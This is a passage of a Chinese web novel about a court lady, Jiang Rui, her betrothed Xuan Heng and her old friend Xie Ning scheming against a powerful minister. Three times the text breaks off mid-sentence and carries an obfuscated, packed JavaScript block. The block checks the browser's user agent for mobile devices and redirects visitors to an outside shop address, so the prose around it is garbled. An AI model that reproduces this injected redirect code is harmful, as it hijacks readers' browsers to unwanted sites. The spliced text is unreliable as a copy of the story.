姜芮看出两人的不自在，却神态自若地坐着，并没有起身要走的意思。 “马偏将、赵参军，此行辛苦了。还请先用些茶，父亲一会儿就到。” 马大刀应声猛喝了口茶，又偷偷抬眼去看姜芮，却不小心岔了气，顿时咳得惊天动地。 一旁的赵盛忙放下茶碗给他顺气，一边尴尬地朝姜芮道歉：“军中粗人，不懂礼数，姜小姐见笑了。” 他同马大刀都是河西守军将领，几乎不曾离开过河西。此次乔装进京，是代表主帅周将军，来同姜、宣两家秘密结盟的。 周家世代守边，一向远离京城纷争。只是邓忠手握漠北重兵，又想染指河西，几年间竟是将心腹安插到了周将军的眼皮底下。 数月前，姜芮的长兄调任河西，很快就察觉到了这微妙的气氛。并没有费太多工夫，他便说动了周将军加入对抗邓忠的阵营。 姜芃谦逊敦厚，毫无文人架子。只有同几位将领提起自家妹妹时，他才会不吝各种华丽词藻，将人夸得天上有地下无。 赵盛不知道这位姜小姐是不是真如姜芃所说，有这么大的能耐。但今日所见气度，确非一般官家小姐所有。 正想着，姜太傅推门而入，拱手同两人寒暄。 他们本就是借着下聘秘密商议，待人都落了座，姜太傅便直奔主题。 马大刀看着屋里的明艳美人，实在忍不住发问：“姜小姐也在这？” 让未出阁的小姐露面来招待茶水，已经大大出乎他的意料。没成想姜太傅还颔首回他：“小女对河西事务亦有几分了解。兼听则明，两位但说无妨。” 马偏将露出不能理解的表情。倒是赵参军在桌下拉了他一把，示意他把嘴边的话咽回去。 啧，真没眼力见。没看人家的未来夫君也一副理所当然的表情吗？这位姜小姐必有过人之处。 姜太傅亦不动声色地瞥了一眼宣珩，随即满意地进入正题。 河西虽有屯田，但仍依赖中央的漕运补给。邓忠设法安插了心腹到河西，正是掌管这物资的接收和管理。周将军虽不信邓忠有本事从自己手里夺去兵权，却对此颇有些忌惮。 “如此说来，可是漕运补给有什么不妥之处？” 河西屡有战事，粮草绝不能出问题。姜太傅蹙着眉，迅速回想着此处漕运的要员名单。 赵盛却摇头：“不曾。” 这便是他们一直没有动作的原因。若非知道那是邓忠安插的心腹，他甚至觉得此人做事一丝不苟，掌管物资甚为合适。 “邓太尉不下无用之棋，许是在等什么机会。”宣珩已同魏知年交过手，深知邓忠的老辣。 马大刀闻言一拍桌：“要我说就把人直接捉了——” “那邓太尉就正好能参将军一本。”赵盛磨了磨牙，打断他的话。 也许这就是邓忠的目的。不用做什么，便可以让他们如鲠在喉、处处疑心。 姜芮安静听着。她研究邓忠多年，知道宣珩所言不虚。摩挲着手中的茶碗，她忽然开口：“听闻河西有几支番军，是因同部落不合而投诚来的？” 赵盛一愣，有点摸不准她为什么忽然换了话题。 河西地处边境，人员成分自然复杂。那些番人部落自己内部就常常掐架，有些同中原合得来的便索性投了敌。周家经营河西多年，同这些番人头子都算相熟。 以夷制夷，也算是河西守军的一贯传统了。 这些番军说不上有多忠诚，但有河西的粮草养着，吃穿用度还是比他们自家要强一些。战事吃紧的时候，他们也愿意为了来年的衣食，卖力打一打自己的同族。 说到这里，赵盛恍然：“他们虽是自治，但物资配给是统一从将军这里出的。我也查过账册，一切都按旧例，没什么问题。” 姜芮便含笑点头：“赵参军心思缜密。” 没等赵盛红着脸谦虚两句，她又道：“我听闻去年寒旄部出了个新首领，年轻有为，大张旗鼓想要团结其余部族。” 马大刀闻言惊讶地看她。 番军成制多年，姜小姐听说过并不稀奇。但这个消息，不关心河西事务，大抵是不会留意的。 “姜小姐不必忧心，”赵盛眼中也露出赞许之意，“这些番军里，许多已在河西娶妻生子，置办家业，不会轻易因为这半大小子的几句话就倒戈。” 姜芮仍是含笑点头：“赵参军所言甚是。” 接下来，她便不再开口。众人继续商议，宣珩坐在她身侧，时不时快速地看她两眼。自从察觉她戴了那枚玉簪，宣公子的目光就总忍不住朝她发顶飘。 待姜太傅起身送两位将领出门，姜芮终于不再端坐着，慵懒地朝椅背一靠：“我头上可是有什么东西么，惹得宣公子总往这儿瞧？” 宣珩移开眼，文不对题地应了句：“齐地的案子过段时日应能结了。” 此案是皇帝钦点了要查，邓忠多少得做做样子，不好插手得太明显。各方角力之下，魏知年已成弃子。不过邓忠虽保不下魏知年，却也不会让陆铭和宣珩轻易结案。 姜芮知道这段时日最为磨人，于是正色道：“行百里者半九十。未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929967|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到尘埃落定时，万不可松懈。” 宣珩闷声应了。 见他兴致不高，姜芮想了想，又道：“此番遂了圣上心愿，结案后必有厚赏。我先在此恭喜宣公子了。” 不料宣珩神色古怪地看着她，半晌才吐出一句：“姜小姐呢？” 姜芮挑眉，难得有一次不明白他在问什么。 “姜小姐为了齐地百姓殚精竭虑，却不为世人所知。可觉得不公？” 喔，原来还在纠结这些。 姜芮忍住了翻白眼的冲动，漫不经心地挥了挥手：“待除了邓忠，重振朝纲，宣公子若还这么想，我倒是不介意与你做个同僚。” “如今这朝堂臭气熏天，还是劳烦宣公子在前开路吧。” 她这么说着，眼中闪过一丝笑意。 “以今日商谈来看，周将军所虑不无道理。宣公子此番升了官，应有机会插手漕运，正好能看看邓忠到底玩了什么花样。” 宣珩抿唇看了她半天，终于垂下眼眸，淡淡道：“我人微言轻，处处掣肘，扳倒个魏知年就如此费力。漕运大事，姜小姐抬举了。” 美貌青年一脸倦色，看起来倒有些惹人垂怜。 姜芮却闻言冷笑：“原来宣公子是诉苦来了。” “我并非——”宣珩抬头反驳，又快速住了口。沉默半晌，他终于自暴自弃地说：“我上月还是人尽皆知的美貌废物，比不得姜小姐通晓朝堂、游刃有余。” 他本不在意市井流言，现下却生出几分惶恐。 齐地的案子，若没有姜芮夜夜送来的字条，他自问做不到如今这般滴水不漏。方才同河西的两位将领商议，他能跟上思路，却不及姜芮所虑更深。 眼前的这位未婚妻，确实处处都胜过他。 姜芮有些诧异地看着他。宣二公子才华横溢、自视甚高，她从未料到他竟还有示弱的时候。 “怎么？今日你告了假，陆御史心情不好，又挖苦你了？” 见宣珩一脸无语，她便知道自己猜错了。 啧，看来魏知年的案子比她想的更棘手些。毕竟她身居幕后，只用动动笔，比不上前线的各种艰辛。宣珩甚至不比陆铭有个御史头衔，顶着个闲职与那帮老狐狸周旋，确实不易。 想到这里，姜芮的神色柔和了些。她思忖片刻，才斟酌着开口：“漕运一事确实牵扯众多，但宣尚书执掌户部多年，总不至于让你单打独斗。” “齐地的案子是为了打邓忠一个措手不及，这才累你同陆御史日夜不眠。现下河西既还无事，你也不必太过忧心。” 见宣珩仍神色恹恹，她叹了口气，耐着性子哄道：“宣公子藏锋多年，一朝亮剑，就替齐地百姓斩去最大的毒瘤。本该是意气风发的时候，何必因世人痴语而妄自菲薄？” 宣珩霍然抬头，目光灼灼：“你真做此想？” 姜芮不知他今日到底是受了什么刺激，只心觉好笑，语气渐渐不耐：“怎么？往日嫌我刻薄，现下说了好话，宣公子反倒听不得了？” 宣珩便侧过脸去，许久才低声道：“多谢。” 他随即起身出门，耳廓似乎有些红：“聘礼准备得仓促，你且看看还中意么。若有别的想要的，待结了案我再送来。” 姜芮这才想起，他今日是来下聘的。 5. 旧友 宣家准备的聘礼十分丰厚，整整齐齐码在库里。姜芮随意扫着单子，一边同虞夫人有一搭没一搭地聊着。 “前些日子劳烦母亲准备回礼，今日又操劳一整天，需得早些歇息才是。” 虞夫人压着轻咳，目光慈爱：“婉婉，我看宣家此番颇为用心。原想这桩联姻来得仓促，如今看来，我倒是放心不少。” 知她今日高兴，姜芮便顺着她的话，拣些她爱听的说。 其实姜小姐虽然毒舌，但对聘礼没什么要求。与宣珩成亲本就无关风月，只要两家面上过得去，姜芮自是乐得省事。 不过，宣珩这次似乎真费了不少心思。 除了惯有的金银首饰、绸缎布匹之外，聘礼中还有四箱文房用具。无论是笔墨还是纸笺，熏香还是镇纸，件件都选在了姜芮的心坎上。 不愧是宣二公子，惯会揣测姑娘心思。 姜芮虽如此腹诽，却忍不住开了箱子细看，嘴角不自觉地上扬。这些算不上贵重，但她确实中意得很。 “宣公子近来公务繁重，却是用心了，”虞夫人自然看得出女儿的欢喜，跟着笑道，“婉婉，你这几日得了闲，不如绣个荷包送与他。我今日的回礼虽不失礼数，但比起来，总归少了几分心意。” “母亲这便开始偏心了？”姜芮低头翻看着箱子，随口应道。 虞夫人无奈一笑：“若是旁人这般用心，你必定同等相待。怎的到了自己未来夫君这里，却如此敷衍了？” 姜芮手下一顿。仔细想来，她对宣珩确实比旁人更苛刻些。许是某种迁怒吧？ 似是不满这样的念头，姜芮微蹙了眉，倒是让虞夫人小心翼翼起来。 “婉婉？” “母亲说的是，”姜芮直起身，神色有些复杂，“不过宣公子不缺荷包，我还是送样更有用的吧。” 劝母亲回去歇息后，姜芮转身去了书房。阿云跟在她身侧，笑眯眯地问是不是要用这些新的纸笔。 姜芮摇摇头：“去取块青璃墨，还有些雪霁纸来。” 阿云一愣，笑容凝在了脸上。 “怎么？” “喔，这就去，”侍女忙垂下头，脚步匆匆，“只是太久没用了，得找找。” 姜芮“嗯”了一声，有些烦躁地闭上眼。她知道阿云在想什么，但她已疲于解释。 谢凝，字景澜，昔日人人仰慕的汀兰公子。只有同他写信，才需要那些讲究的纸墨。 幼年同他交好时，倒也没觉得麻烦。谢凝长她六岁，却同她一见如故。姜芮那时还带着些少女的活泼，不像如今这般毒舌冷冽。而谢凝温润如玉，文武兼备，早早进入朝堂，深得皇帝爱重。 姜、谢本就是世交，见这一对璧人，长辈自然起过联姻的心思。若非姜太傅早先允了女儿再陪在自己身侧几年，许是已经定下亲事。 可惜月满则亏。谢凝最意气风发的那年，在骑猎时从马上摔下，伤了双腿。皇帝爱才，仍留了他官职，但他从此不再上朝，几乎闭门不出。 那门并没正式提出过的亲事，则不知怎的成了不能在姜芮面前提的禁忌。 想到这里，姜芮揉了揉额角，长长吐出口气来。 阿云拿着那些金贵纸墨，小心铺在案前，又犹犹豫豫地问：“小姐，可是要把冷香空翠也点上？” 是了，谢凝虽中意青璃墨，却嫌气味差些，需得点那熏香，染上些清冽才好。 姜芮蹙眉轻啧，示意她点上。 “去同阿竹说一声，明日出门办事前，先替我送个帖子去隐岫斋。” 阿云低声应了，目光忧虑地看着自家小姐。 姜芮只做不知，兀自盯着那雪白的纸笺出神。她同谢凝曾常有书信来往，谈诗书，也谈朝政。与旁的世家公子不同，谢凝不曾因她是女子而轻视过她。 她还记得少时雄心勃勃，同他谈过许多治世抱负。谢凝当时还说，若来日朝中设了女官，她定会是最耀眼的那个。 他们是怎么落到不相往来的地步呢？ 有时姜芮扪心自问，是不是自己太过不近人情。谢凝自坠马伤腿后，性情大变，日渐消沉。她试过宽慰开解，却每次都不欢而散。 最后那面，她同谢凝大吵一架。 “你不在朝中，你不懂。” 汀兰公子温文尔雅，即便气得发抖，也没说一句重话。他只看着覆在双膝上的锦毯，语气冰冷：“姜小姐请回吧，不必再同个废人纠缠。” 姜芮确实不懂。她知道谢凝心高气傲，却没料到他如此易折。 跛了足的谢公子依旧可以出入朝堂，姜小姐的经天纬地却一开始连父兄都付之一哂。 那次之后，姜芮真同他断了来往，但也并非全是逞一时之气。 她知道那次坠马不是意外，也知道那之后朝堂倾轧日益激烈，谢家自己还内斗得厉害。亲友反目、落井下石，才是谢凝不愿再走出隐岫斋的主要原因。 不过许是从宣珩身上看到了某种希望，姜芮觉得时过境迁，自己不妨再试一次。 提笔良久，最后落在纸上的只寥寥数语。信笺送去隐岫斋的三日后，谢凝的回帖到了。 迈进熟悉的大门，姜芮有些恍惚。 隐岫斋是谢凝自己的宅子，比姜府清净，她原先常来。里面的一花一石都是谢凝亲自布置的，颇有雅趣。但现下，整个庭院只见冷寂。 一袭白衣的青年坐在院中，倒是记忆里的模样。 “景澜。” 谢凝闻声抬头，双手搭在锦毯上，一动不动：“婉婉，别来无恙。” 小童端来茶水，随即无声地退下了。姜芮静静地看着眼前的故交，半晌才开口：“我以为你不愿再见我了。” 谢凝笑了笑，欠身斟了杯茶：“尝尝今年江南的新茶。” 姜芮浅啜一口，是以前常喝的天台灵芽：“香淡韵寡，大不如前。” 谢凝不以为意，仍是笑得温和：“我尝惯了，倒是正合心意。” “是么？”姜芮看着他，目光灼灼，“江南富庶之地，如今也产不出昔日那般的好茶。汀兰公子一饮一食皆风雅， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929968|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以往定是瞧不上的。” 听到那个久违的称呼，谢凝手下一顿，神色不改：“昔日种种如朝露遇旭，何必再提。” 上一次的糟糕回忆渐渐涌上心头，姜芮摩挲着手中上好的玉脂杯，抿唇不语。 谢凝移开目光，不去看她那双锐利的眼。沉默间，目光扫过她发间的玉簪，停留片刻后，慢慢挪回到手下的锦毯上。 “还未恭喜你觅得良缘。”他笑得有些落寞，语气却真挚。 姜芮挑眉：“良缘？” “宣公子德才兼备，自是良缘。” “景澜何必取笑。谁人不知宣家二少是个美貌废物？” “婉婉才是说笑了。宣公子初露锋芒，便已可见前途无量。此前沉寂多年，不过是明珠蒙尘罢了。” 姜芮眸光微动。沉默片刻，她忽然问：“那你呢？” “我？”谢凝自嘲一哂。 “婉婉，你可还记得这株玉兰？”他指着院中的一截枯枝，“昔日花开似雪涛落雨，如今任凭阳光甘露，终究只是棵枯木。” “是么？”姜芮平静地看着他。 “我原以为你终日在这隐岫斋，不再关心世事。但看来是想错了。” 齐地一案，陆铭才是主官。宣珩虽借此机会挽回了些名声，但旁人津津乐道的仍是那笔莫名的风流债。美貌废物的形象太过深入人心，在最后的论功行赏之前，需得有心打听才能知晓他的才干。 “景澜，你既放不下，何不走出来？” 谢凝垂眸：“我只是听闻你的亲事，略微留意了一二。” “哦，那你可知宣公子为何忽然改了性情？” 似没听出她的戏谑语气，谢凝淡淡道：“姜小姐慧眼识珠，宣公子自然投桃报李。” 姜芮闻言竟笑出声来。 “你可真是抬举我了。” 她定定地看着谢凝：“宣尚书寡言慎行、油盐不进。若非形势已到无路可退的地步，他又怎会愿意同姜家绑在一起？他不下决心，宣公子纵有万般情意，怕也只能题诗赠帕而已。” “景澜，你我皆知当年并非没有破局之法。但你不愿联姻，宁可缩在这隐岫斋，由着你那三叔胡来。这些年首鼠两端、进退失据，你猜邓忠几时拿谢家来祭旗？” 青年敛了笑，眼底愈来愈冷。 姜芮顿了顿，沉声继续：“邓忠这些年变本加厉，富庶之地的百姓如今也只能勉强度日。内有豺狼敲骨吸髓，外有铁骑虎视眈眈。你我食千家之粟，却空谈抱负。我不知旁人每夜是如何入睡的，只知自己寝食难安。” 毫不掩饰眼中的冷冽，她站起身来，脊背挺得笔直：“齐地事毕，宣珩不日便要插手漕运。” 修长的手指倏然攫住了锦毯。 “你原在朝中的那些人大都还在。你若铁了心不再出隐岫斋，我便让他们散了，也好过为了往昔幻影而日日苦熬。有不愿回头的，此番若随我折戟沉沙，你也不必挂心。” 她转过身，留下最后一句：“今日之后，我不会再来劝你。” 6. 熟客 自那日从隐岫斋回来后，姜芮举动如常，看不出什么情绪变化。倒是阿云暗自忧心了好些日子，终于寻了个机会小心翼翼地问：“小姐，这青璃墨和雪霁纸，可要收起来么？” 姜芮把玩着聘礼中的镇纸，一时没有回答。这镇纸分量正好，盘起来甚为顺手。 屋中寂静了片刻，才听她淡淡道：“且先放着罢。” 阿云讷讷应了，眉间忧虑更深。 她虽自幼陪在姜芮身侧，这些年却愈发看不懂自家小姐。明明同那谢公子已好几年都没来往了，却偏偏在宣家下了聘后上门拜访。现下不让收这纸墨，一边却还要赴宣公子的约。 思忖再三，阿云轻声开口：“小姐，明日见了宣公子，最好还是莫要提前些日子去隐岫斋的事。” 姜芮回了神，斜睨着眼看她。 她便硬着头皮继续：“不是说小姐不该去，只是毕竟已经同宣公子定了亲，若惹了误会，许是平白多出事端来。” 姜芮闻言挑眉：“你可知他明日约我在何处见面？” 不待阿云出声，她悠悠吐出三个字：“醉吟舫。” 侍女的脸色变得微妙起来：这宣公子可真是个奇人。 醉吟舫是京城最精致的画舫，舞女乐伎个个技艺高超，香茗佳酿更是款款精品。请世家小姐去这舫上一叙，看看流翠池的锦鲤与荷花，好像没什么问题。 但关键是，京城人人皆知宣二公子同醉吟舫的阿沅姑娘交好。 这位阿沅姑娘也是不简单。她原是醉吟舫的头牌舞女，后来不知怎的成了掌柜，把生意做得八面玲珑，将京城这帮世家子弟服侍得妥妥帖帖。 往日里宣二公子流水般地换地方寻乐，唯独会时不时光顾这醉吟舫。 只是如今连聘礼都下了，还约未婚妻去昔日相好的地方见面，未免太不讲究了。 见阿云面色铁青，姜芮终于忍不住轻笑出声：“好了。早同你说过，我与他只是联姻。莫要总想这些有的没的。” 阿云不言，只是翌日早早把自家小姐叫起来，铆足了劲替她上妆换衣。 知她是挂心自己，姜芮耐着性子由着她摆弄。见她一直面色不善，姜小姐难得出言宽慰：“今日是去给柳姑娘送行的。宣公子许是想着找个相熟的地方，说话好方便些。” 齐地的案子已近尾声，柳瑛的父兄和夫君都已平了反。她亦作完了证，即日便要返乡。 事情一旦尘埃落定，消息便清晰起来。阿云这几日听了不少宣二公子的好话，闻言面色稍霁。 姜芮拍了拍她的手臂，示意她莫再忧心。阻止了她再朝自己身上添配饰，姜芮施施然起身，带着阿竹出门了。 盛夏耀眼的阳光下，俊美潇洒的贵公子站在岸上，身旁立着位风姿绰约的美貌少妇。 姜芮戴着幂篱，只露出一双锐利的眼。那少妇却毫不迟疑地含笑上前，引她上了画舫。宣珩默默跟在后面，心不在焉地想：姜小姐今日用的香，似是与往日不同。 舫内已坐着个姑娘，一旁还有个半大的男孩。见姜芮进来，柳瑛忙拉着弟弟起身行礼。姜芮笑吟吟地扶住她，又亲切地朝那男孩点头。 宣珩在门口嘱咐了阿竹几句，跟着进屋坐下。待姜芮同柳瑛寒暄完毕，他才轻咳一声，给两人介绍：“这位是醉吟舫的掌柜，阿沅姑娘。” 阿沅优雅地行了个礼，又躬身替众人上了茶。她做事确实妥帖周到，连柳瑛的幼弟都照顾到了。姜芮啜着她亲手沏的茶，眼底渐渐露出几丝玩味的光芒。 这天台灵芽，竟是比谢凝府上的更好一些。 察觉她的目光，阿沅神态自若，继续柔声介绍着画舫。宣珩却似乎有些不自在，抬手打断她：“今日只是寻个地方说说话，阿沅姑娘不必劳心。” 美貌少妇掩唇轻笑，从善如流地行礼退下。宣珩微松了口气，侧头瞥见姜芮目露揶揄之色，慌忙移开了眼，抱着茶杯端端正正地坐着。 姜芮心觉好笑，但想着柳瑛姐弟还在，只得将到了嘴边的戏谑之词又咽了回去。 柳姑娘不知京城这些旧闻，一心拉着幼弟朝两人谢恩。此番大起大落，她得了历练，看起来愈发自信能干。姜芮含笑同她说了好一会儿的话，直到宣珩出声提醒，才起身送她。 此行回乡，她与去齐地善后的朝廷人马同行，也算路上有个照应。再耽搁下去，怕是要误了时辰。 柳瑛眼眶微红，深深地朝两人行了个礼，随即拉着幼弟，一步三回头地走了。 姜芮正伸手去拿幂篱，却听宣珩同阿竹说：“我与你家小姐再说些事。切莫让任何人进来。”于是她靠坐回窗边，饶有兴致地望着满池的荷花。 宣珩关了门，半晌才干巴巴地开口：“醉吟舫只接熟客，比别处清净些。” 姜芮不轻不重地“嗯”了一声。她不怎么参加世家子弟的聚会，今日是第一次来这儿，倒还真有些意外收获。 “久闻阿沅姑娘的大名。方才一见，果真是个妙人。” 宣二公子看起来似乎更局促了。他低声道：“以前有些邀约不好应付，她帮忙周旋过一二。我同她并无——” “宣公子不必介怀，”姜芮语气轻快，“阿沅姑娘聪慧机敏，与宣公子投缘也是应当。” 宣珩抿着唇，不肯接她的话。 姜芮睨了他片刻，悠悠开口：“那日柳姑娘在瑞祥楼拿出来的绢帕，莫不是宣公子原先赠给阿沅姑娘的吧？” 见眼前的美貌青年目露惊讶，她含笑继续：“今日会选在这里会面，可是阿沅姑娘同你告罪，想陪个不是？” 宣珩渐渐明白她意有所指：“你是说——” “我可没说，”姜芮截住他的话头，“只是想提醒下宣公子。要经营这京城最好的画舫，绝非只需做些迎来送往的活计。” 无论那方绢帕是如何到了邓忠手下人的手里，姜芮都不觉得奇怪。朝堂上的大多数人都身不由己，更何况一个背井离乡的独身女子。能保全自己，小心翼翼地维持这醉吟舫的生意，实属不易。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929969|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜芮直觉日后若有机会，这位阿沅姑娘说不定与自己还更投缘些。 “宣公子可还有别的要谈？” 似是忽然回了神，宣珩匆忙喝了口茶，方才沉声道：“昨夜我收到封密信，说谢彬亦有参与齐地一案，并附了详细证据。” 姜芮目光霍然一凛。 谢彬是如今的谢家家主，谢凝的三叔。当年谢凝坠马，同他有着千丝万缕的关系。 “可查实了？” “参与不深，但确实牵涉其中。” 姜芮露出欣喜的笑容，整个人都轻快起来。宣珩神色复杂地看着她：“你好像不太意外。” 其实还是有些意外的。姜芮想过谢凝也许会被说动，但没想到他竟行动得如此迅速。短短几日便下了决心，干脆利落地要断了自家三叔的仕途。可见汀兰公子虽光风霁月，却远不像她的敦厚长兄那般心慈手软。 “前些日子，我去了趟隐岫斋。” 宣珩了然。 他在京中刚崭露头角的时候，也曾见过谢凝几面。那时谢凝风头正盛，一举一动皆受追捧。譬如渌溪本是玄岭脚下平平无奇的一条小溪，正是因着汀兰公子随意掬了捧水，直到今日仍是士人宴饮的最佳地。 甚至宣珩自己也沾过谢凝的光。世人说他的字颇有几分谢凝的味道，于是放到市场上便能多卖几分价钱。 而汀兰公子所居的隐岫斋，他自也是听过的。 谢凝温润如玉，却隐约带着些疏离的气质。当年士人皆以能被邀入隐岫斋为荣，但真正踏入那座宅子的人寥寥无几。 不过谢、姜乃是世交。姜芮幼年便同谢凝相识，两人交好倒也不是什么秘密。姜小姐在还有心情作闲诗的年纪，曾同谢公子和过不少诗。 金风玉露本该相逢，一场坠马，倒是便宜了自己这个局外人。宣珩垂眸：“是你说动了他重新出山。” 姜芮心情愉快，满脑子想着接下来能出的招，没注意眼前的美貌青年敛了神色，脊背挺得笔直。 “我并无把握，倒是意外之喜，”姜小姐神采奕奕，笑得情真意切，“宣公子不是嫌朝中处处掣肘？待景澜收拾完家事，便该重回朝堂了。届时你们寻机一叙，也好相互照应。” 宣珩闻言微怔。 却听姜芮继续说：“他爱喝天台灵芽。你若真同阿沅姑娘交好，不妨向她讨一些来做见面礼。” 膝上的手指轻轻蜷曲了几下，宣珩定了定神，平静应道：“多谢姜小姐指点。” 姜芮终于觉出他情绪不太对，渐渐收起笑意：“宣公子可是觉得有什么不妥？” 定定看了她片刻，宣珩似乎终于泄了气，低声道：“我听闻……你同他曾差点缔下婚约。你这些年不曾许下亲事，便是因为他。” “所以？” 宣珩喉头干涩：“你可是……仍挂心于他？” 片刻的沉默后，姜芮忽的轻笑一声：“怎么？我容得下宣公子在万花丛中厮混，宣公子还容不下我心里放个故人了？” 7. 往事 流翠池中的荷花开得正好。阳光下，宽大的荷叶随风微动，发出细碎的声响。画舫里，目光锐利的美人似笑非笑，俊逸的青年垂着眸，抿唇不言。 微妙的沉默笼罩了整个房间。 宣珩心中有些懊恼。他知道些旧事，但原没想在姜芮面前提起。可她方才说到谢凝时的语气太过熟稔，他一时竟没能忍住。 多年前的回忆不合时宜地浮上心头。 也许姜芮已忘了，或是从一开始就不曾留意。谢凝第一次在渌溪举办宴饮时，他也在场。那时他还不必刻意隐藏锋芒，不过这也无关紧要，因为汀兰公子才是被众人围绕的对象。 芝兰玉树的温润青年执了扇子，优雅地朝众人告罪，径直去寻不远处的那个俏丽少女。他耳力一贯甚佳，清晰地听到那悦耳的嗓音唤她“婉婉”。 山花烂漫前，一对璧人并肩而立，任谁见了都会说一句“天作之合”。 很难说他那时有什么旁的心思，只是如今想起，舌尖不免有些苦涩。 不过姜芮说得没错。她同谢凝是堂堂正正的旧交，不似自己这般恣意荒唐。宣珩看着自己的指尖，哑声开口：“是我失言。” “谢彬一事，我会交与陆御史秉公办理，尽量不引人注意。结案在即，最晚五日内就能有消息。” 姜芮看着他，语气竟有些无奈：“宣公子这么说，是懒得再送个信去隐岫斋了么？” 见宣珩目露微讶，她只得耐着性子点拨：“景澜既然直接将密信送到你手中，便是将你我视为一体。你们日后在朝堂议事，我鞭长莫及，早些相熟自是好的。” “他与邓忠政见不合已久，当年坠马也与此有关。于公于私，他都是友非敌。谢家这些年虽没落了，但在朝中仍有些分量。他入朝早，对吏治颇有心得。日后你在朝上，有他策应便稳妥许多。” 宣珩低声应了。他喉头微动，目光逡巡于乌发间的那枚玉簪。 姜芮福至心灵，随即补充道：“我同他之间……已是过往。你若不放心，尽早完婚便是。” 纤长的手指忽的握成了拳，又慢慢松开。 见宣珩仍神色紧绷，姜小姐终于开始不耐：“你也不必担心他那边。他本就挂心朝堂，我不过是去添了把火。” 宣珩松了眉眼，淡淡一笑：“我没什么不放心的，何时完婚听凭姜小姐安排。” 姜芮却无端火起。她知道宣珩并不信，就像姜府上的许多人一样。无论她如何解释，她的母亲、父兄、甚至侍女，都只会带着些许小心翼翼，顺着她说是。 既然今日又提起，她索性便摊开了讲。免得这位心思细腻的多情公子想东想西，平白误了正事。若被谢凝察觉，说不定还得横生枝节。 “你知他坠马之后一蹶不振，可知他在此之前在做什么？” 姜芮语气森然：“那时他已得了机会，正动手肃清漕运。” 宣珩脸色倏然一变。 “你也知漕运牵涉甚广。只是那时我同他年轻气盛，觉得一切尽在掌握，又得了圣上暗中授意，定能成事。” “他坠马之后，谢彬趁机夺了谢家权柄，一些盟友也随之倒戈。昔日同僚落井下石，若非他当年名声正盛，圣上又有意保他，定已断了仕途。” 姜芮的脸上看不出喜怒：“那时我曾提出与他联姻，将姜家推到台前，稳住谢家内部和那些盟友，来日可重振旗鼓。” “他没答应。宣公子可知为何？” 宣珩抿紧了唇，半晌才应道：“汀兰公子品行高洁，自是不想拖累于你。” 他顿了顿，又忍不住说：“只是……他同你相识多年，应知道你重情重义，不该这般让你苦等——” 重情重义？ 姜芮神色奇异地看了他一眼，打断了他的话：“那场骑猎的邀约并非没有可疑之处。是我同他说，事已至此，不进则退。” 她声音清冽，语气冰冷：“他对我，应是有怨的。” 宣珩怔怔地看着她，又慢慢蹙起了眉。他努力克制自己，但仍是没忍住：“这与你何干？他若真不想去，你难道还能把刀架他脖子上，逼他去么？” 姜芮闻言一愣。 觉得自己从她的表情中读懂了些什么，宣珩喉头愈发干涩：“所以……你是觉得有愧于他，这些年才迟迟不愿成亲么？” 姜芮侧头将目光转到窗外的荷花上：“肃清漕运是我与景澜计划已久的事情，其中艰险本该共同承担。当年父亲并不赞成采取如此迅疾的行动，他也认为不将姜家牵扯进来可留条后路。但我插手了几乎所有的安排，招招兵行险棋。” “我藏身幕后毫发无伤，却屡屡送他去涉险。于情于理，我问心有愧。” 宣珩张了张嘴，心中百转千回，最后吐出一句：“不是这个道理。” 若当年事成，谢凝得了声望官职，难道还能分姜芮一半？纵使谢凝说了实话，但口说无凭，世人难道就会如看他一般看姜芮么？更何况谢凝虚长这些年岁，在朝中的经验总更多些，难道还看不清个中危机、自己做不了决断？ 他虽还未同谢凝打过交道，但直觉姜小姐方才说的这些定有什么偏差。至少若他是谢凝，绝不会因此对姜芮生出什么怨来。 美貌青年露出些许苦恼的神色，大抵是在寻些安慰人的话。姜芮静静地看了会儿，心中的那股莫名的火气渐渐消了。这些旧事本就同他无关，自己方才多少有些积怨已久而借题发挥。 她是对谢凝心怀歉疚，但同时也怨过他就此撒手不干。她名不正言不顺，想使劲也无以为继。如今他走出隐岫斋，也算解了两人心结。此番重振旗鼓，轮到姜、宣两家入局了。 思至此，姜芮沉声道：“宣公子既知这往事，可想过今后自己会如何？” 宣珩回了神，忽的笑道：“我等均食千家之粟，哪有让姜小姐一人担着的道理？” 他不知为何显出几分风流公子的做派，语气轻挑，眼底柔情似水：“再者说来，你我既已定下亲事，往后若真有必要，姜小姐随时拿刀架我脖子上便是了。” 姜芮怔了一瞬，随即扬眉笑道：“好。” 知道这下是真的谈完了，她站起身，把幂篱仔细戴上。推开门前，她似乎想起什么，转头朝宣珩道：“还有，谁说我这些年是为了等他了？” 她当年提出 